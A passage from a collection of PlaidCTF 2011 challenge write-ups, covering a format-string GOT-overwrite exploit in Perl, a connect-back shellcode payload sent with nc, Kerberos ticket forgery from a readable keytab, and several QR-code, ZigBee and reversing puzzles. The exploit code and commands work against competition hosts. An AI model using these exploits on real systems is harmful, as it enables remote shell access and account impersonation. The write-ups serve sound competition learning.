$n2, $addr1, $addr2); if ($hi_addr < $lo_addr) { $n1 = $hi_addr - 16; $n2 = $lo_addr - $lo_addr; $addr1 = $fgets_got + 2; $addr2 = $fgets_got; } else { $n1 = $lo_addr - 16; $n2 = $hi_addr - $lo_addr; $addr1 = $fgets_got; $addr2 = $fgets_got + 2; } $marker = "id; sh; "; print $sock $marker, pack("L",$addr1),pack("L",$addr2), "%${n1}u%11\$hn","%${n2}u%12\$hn", "t\n"x127; print STDERR "[*] Waiting for shell... ;)\n"; while ($line = <$sock>) { last if $line =~ /Item: $marker/; } ########################################################################### while ($line = <$sock>) { last if $line =~ /^uid/; } print STDERR "[*] Exploit succeeded! Press ^C to exit shell...\n"; print STDERR $line; my $pid = fork(); if (not defined $pid) { print STDERR "fork() failed\n"; } elsif ($pid == 0) { while (<>) { print $sock $_; } } else { while (<$sock>) { print } } ########################################################################### exit 0; And finally, here is a sample run: je@isis:~/ctf/PlaidCTF-2011/25-PC_Rouge$ ./pc-xpl.pl [*] ----------------------------------------------- [*] PC Rouge Exploit - PlaidCTF-2011 - Challenge 25 [*] Coded by Joel Eriksson, AKA je AKA The Beast... [*] ----------------------------------------------- [*] Retrieving fgets() address from the GOT [*] Calculating address of system() [*] Overwriting the GOT-entry for fgets() [*] Waiting for shell... ;) [*] Exploit succeeded! Press ^C to exit shell... uid=1005(pc) gid=1006(pc) groups=1006(pc) cat /home/pc/key true8_bit_is_best_bit ********************************************************************** ****************************** 26.txt ****************************** ********************************************************************** This is my writeup for the twenty-sixth challenge in the PlaidCTF 2011 competition. The information for the challenge was: c a9.amalgamated.biz 10241 The binary for the server listening on this port was also available for download. Turns out that this challenge is almost identical with hashcalc1, except for the fact that it is executed through inetd instead of using its own socket handling. Also, in this case the call to strlen() in the function that calculates the hash is inlined. There is another call to strlen() in the function that writes to the socket though. Since the string has been prepended with hash> (before our buffer we need to make sure that this string can be interpreted as valid instructions as well, without triggering a crash. To change the hash I could simply append to the string, and ended up with the following: (cat ~/cb.bin; perl -e ' print pack("L",0x804911c+2),pack("L",0x804911c), "%'$[0x0804-88]'u","%25\$hn","%'$[0x8e1b-0x0804]'u","%26\$hn","%20000u"' ) | nc a9.amalgamated.biz 10241 In another tty: je@isis:~$ nc -l 12345 id uid=1008(hashcalc2) gid=1009(hashcalc2) groups=1009(hashcalc2) cat /home/hashcalc2/key funkyG_1S_th3_b3$t ********************************************************************** ************************ 27_Sesame_oil.txt ************************* ********************************************************************** The purpose of this challenge was to exploit incorrect permissions (world readable) on the /etc/krb5.keytab file. By using the host/a15 principal it's possible to create valid tickets for the victim user. To achieve this we simply used "kimpersonate" (http://www.daemon-systems.org/man/kimpersonate.1.html) which is part of the heimdal kerberos distribution. root@ubuntu:/tmp# kimpersonate -s host/a15.amalgamated.biz@AMALGAMATED.BIZ -c victim@AMALGAMATED.BIZ -t des3-cbc-sha1 -5 --ccache=FILE:/tmp/cache -k FILE:krb5.keytab root@ubuntu:/tmp# klist -c FILE:cache Credentials cache: FILE:cache Principal: victim@AMALGAMATED.BIZ Issued Expires Principal Apr 24 11:16:28 Apr 24 12:16:28 host/a15.amalgamated.biz@AMALGAMATED.BIZ # transfer our newly created ticket to the a15 machine test_201@a15:/tmp$ export KRB5CCNAME=/tmp/cache test_201@a15:/tmp$ ksu victim Authenticated victim@AMALGAMATED.BIZ Account victim: authorization for victim@AMALGAMATED.BIZ successful Changing uid to victim (1000) victim@a15:/tmp$ id uid=1000(victim) gid=1000(victim) groups=1000(victim) victim@a15:/tmp$ cd ~victim victim@a15:~$ victim@a15:~$ ls -al total 28 drwxr-xr-x 2 root victim 4096 Apr 20 19:13 . drwxr-xr-x 5 root root 4096 Apr 20 20:40 .. -rw-r--r-- 1 root victim 220 Apr 20 19:13 .bash_logout -rw-r--r-- 1 root victim 3184 Apr 20 19:13 .bashrc -rw-r--r-- 1 root victim 23 Apr 20 19:13 .k5login -rw-r--r-- 1 root victim 675 Apr 20 19:13 .profile -rw-r----- 1 root victim 46 Apr 20 19:13 key victim@a15:~$ cat key My briefcase is on fire and I don't know why! ********************************************************************** ****************************** 28.txt ****************************** ********************************************************************** " 28 - Crossword Masters - 300 pts Description Category: qrcode We found this crossword puzzle and images in a folder marked "DESTROY" in the recycling. Looks like there is something that AED doesn't want us to know... " Followed the download link for 8e097d5c1cdb0d0d598cb2336637ede69207fb5c.tgz . Inside the tarball I found four files: O_~.png clues.pdf crossword.png Scrabble.png Oke, let's check out that "O_~.png". Great, a corrupted Quick Response code. On to "clues.pdf". Looks like clues for a crossword. Of course, we have "crossword.png", which IS a crossword. Lastly "Scrabble.png". Oh, could this QR code actually work? $ ./qrdecode Scrabble.png > Scrabble.txt ; cat Scrabble.txt ABDGIKMOPSTW Ok, so we have some letters. Bet those are included in the crossword. Let's go back to those clues and that crossword. Start solving the crossword. A moment later I have a completely filled crossword. Woo, I'm the best! Ok, so it wasn't very hard... About those letters in "scrabble.txt". We take away all those letters (make the squares black) and if the color on a square on this picture and a square on "O_~.png" is the same, switch it. Ah, all done. Wait a minute, this isn't a QR code. Invert the colors... $ ./qrdecode qr_maybe.png > qr_maybe.txt ; cat qr_maybe.txt Sund4yT1m3s Gotcha! Enter it on the plaidctf site and 300 more points to Hacking For Soju. ********************************************************************** ****************************** 29.txt ****************************** ********************************************************************** " 29 - Family Photo! - 50 pts Description Category: qrcode After Amalgamted move to machine-generated passwords, employees started writing down their hard-to-remember keys. Predictably, Amalgamated then instructed employees they were not to write down their passwords. Since this annoyed a number of the more forgetful employees, one of the more clever ones came up with a new scheme. Just 'encrypt' your password by storing it on a qrcode! That way, they could just scan it and find their password, but their boss wouldn't know what was going on. " Followed the download link for 169504915474978eb3d8311d09b099355d30e2cd.tgz . Inside it one could find one file: "qrwrappedinsideanenigma.gif", which was an animation of what looked like a series of QR codes. Checked them out; a few were just broken and a few just generated dead ends. Frame00.png wasn't a valid QR code Frame01.png : not:madewithzxingmadewithzxingmadewithzxing Frame02.png : not:anotherdayanotherqranotherdayanotherqr Frame03.png : not:pctfisbestctfpctfisbestctfpctfisbestctf Frame04.png : not:junkiswhatthisisjunkiswhatthisis Frame05.png wasn't a valid QR code Frame06.png : not:dingdingdingdingdingdingdingdingding Frame07.png : not:I like keys for fun fun fun fun fun fun fun Frame08.png : not:eef43fc5e1e5e8a1e2716d3e2c9dd07e Frame09.png : not:6eca8051932e5b14700b783b934a3e61 Frame10.png : not:b2c3e317682929a3255a5e6433ccc5be Frame11.png wasn't a valid QR code Upon closer examination one could see some of the dark blocks were actually gray, and not black. After a few minutes of cut'n'paste magic, taking all the gray blocks from each frame and merging them into one picture, some of the required QR fields were missing: Position (top-left, top-right, lower left "square") and Alignment (lower right "square"). So, I added those to the picture and bam! $ ./qrdecode enigma.png > enigma.txt ; cat enigma.txt key:94f2aa71963b4b72d344bdee405cd9a5 Used the key on the plaidctf site and another 50 points to Hacking For Soju. ********************************************************************** ****************************** 30.txt ****************************** ********************************************************************** " 30 - Sticky Note - 25 pts Description Category: qrcode After Amalgamted move to machine-generated passwords, employees started writing down their hard-to-remember keys. Predictably Amalgamated then instructed employees they were not to write down their passwords. Since this annoyed a number of the more forgetful employees, one of the more clever ones came up with a new scheme. Just 'encrypt' your password by storing it on a qrcode! That way, they could just scan it and find their password, but their boss wouldn't know what was going on. This QRCode was found printed out and taped to an employee's monitor. Find their key. " Followed the download link for 642f5692f234ad9a6d0ae6aec1ef5d3de4ee2473.tgz . Inside the archive we found one file: "who_is_the_fairest_of_them_all.png" QR code? Let's check it. $ ./qrdecode who_is_the_fairest_of_them_all.png No barcode found, something is b0rk! Abandon ship! Ok, so, no barcode. It *looks* legit, though. Let's just flip and rotate, that will look legit too! :3 $ ./qrdecode who_is_the_fairest_of_them_all__flip_and_rotate.png the key: 5811a34f91bead12a3462113639d2d13 Correct key? Oh, yes it was. I guess that's what you'd expect for 25 points. ********************************************************************** ******************** 32_Thats_no_bluetooth.txt ********************* ********************************************************************** 517653a73161ca6fcb13b49d3d19f3cd0634d6b4.pcap contains a number of encrypted ZigBee packets. The goal is to find the key and decrypt the ZigBee packets which should contain the flag. An important hint was: "Keep in mind bits sometimes flip when transmitting signals wirelessly." Packet #13 contains what appears to be a key transfer, but the packet is seemingly corrupt as the FCS (Frame Check Sequence, simple CRC16 checksum) is not correct. It should be 0xd3a1, while the calculated checksum of packet #13 is 0x7e3e. We made a simple python script to check which byte was incorrect. #!/usr/bin/env python import binascii import struct import string import sys # CRC16 stuff from https://www.cgran.org/browser/projects/ucla_zigbee_phy/branches/cwna06/src/python/crc16.py from array import array def reflect(crc, bitnum): # reflects the lower 'bitnum' bits of 'crc' j=1 crcout=0 for b in range(bitnum): i=1<<(bitnum-1-b) if crc & i: crcout |= j j <<= 1 return crcout def crcbitbybit(p): # bit by bit algorithm with augmented zero bytes. crc = 0 for i in range(len(p)): c = p[i] c = reflect(ord(c), 8) j=0x80 for b in range(16): bit = crc & 0x8000 crc <<= 1 crc &=0xFFFF if c & j: crc |= 1 if bit: crc ^= 0x1021 j>>=1 if j == 0: break for i in range(16): bit = crc & 0x8000 crc <<= 1 if bit: crc ^= 0x1021 crc = reflect(crc, 16) return crc class CRC16(object): """ Class interface, like the Python library's cryptographic hash functions (which CRC's are definitely not.) """ def __init__(self, string=''): self.val = 0 if string: self.update(string) def update(self, string): self.val = crcbitbybit(string) def checksum(self): return chr(self.val >> 8) + chr(self.val & 0xff) def intchecksum(self): return self.val def hexchecksum(self): return '%04x' % self.val def copy(self): clone = CRC16() clone.val = self.val return clone packet = binascii.a2b_hex("61886e5933553600000800553600001e7a013d0501704354465f5a69674265655f4c4f4c00001a5b410000ff0f00ffffffffffffffffa1d3")[0:-2] for i in xrange(0x15, 0x25): for x in xrange(0,255): new = list(packet) new[i] = chr(x) crc = CRC16() crc.update("".join(new)) if binascii.b2a_hex(crc.checksum()) == "d3a1": print "Key? " + ":".join([c.encode("hex") for c in new[0x15:0x25][::-1]]) #EOF orcon:~/ppp/12% python crc16.py Key? 00:4c:4f:4c:5f:65:65:42:67:69:5a:07:46:54:43:70 Key? ea:4c:4f:4c:5f:65:65:42:67:69:5a:5f:46:54:43:70 ea:4c:4f:4c:5f:65:65:42:67:69:5a:5f:46:54:43:70 is the correct key, when entered in wireshark 1.4.3 it will decrypt all the ZigBee packets and the flag can be found in packet #395 which contains the printable characters: 0i8bc2 c4.ln.dm 5a "Key: z1gb33_r0ck5" ********************************************************************** ****************************** 36.txt ****************************** ********************************************************************** This is my writeup for the thirty-sixth challenge in the PlaidCTF 2011 competition. The information for the challenge was: ED came up with a secret sharing program that looks like innocent food ordering program. However, there is an information that if you are able to order the following set of food, you can get the secret key. IMPORTANT: SOUND is VERY VERY IMPORTANT for this mission!!!! MAKE THE VOLUME LARGE before you actually do stuff Reverse the program to find out the key! 10 Regular Hamburgers 5 Cheeseburgers 17 French Fries 8 Hot Dogs 20 Regular Coke Taking a quick look at the challenge with IDA Pro and OllyDbg respectively I could see that it packed, and that it uses miscellaneous anti-debugging and anti-dumping techniques. To get acquainted with the application I tried to make the order, which gave me the following error message after adding 10 regular hamburgers, 5 cheeseburgers and 11 french fries: ou cannot have more than 25 items in your cart. When clicking OK and then the Order-button, I got: our order confirmation code is Th3m1d4_iS_s!cK At this point I couldn imagine that Ie already found the real key, so I continued with trying to reverse-engineer the program for a while before attempting a different order, which resulted in a completely scrambled string as the order confirmation code. Turns out that the developers for this mission messed something up bigtime, and that h3m1d4_iS_s!cKwas the actual key. Might look into actually reversing the program someday, but for now I settle with the key. :D I'm glad that our team would have won the competition even without these 250 points though, wouldn't have felt fair if this would have been the difference between winning and losing. :)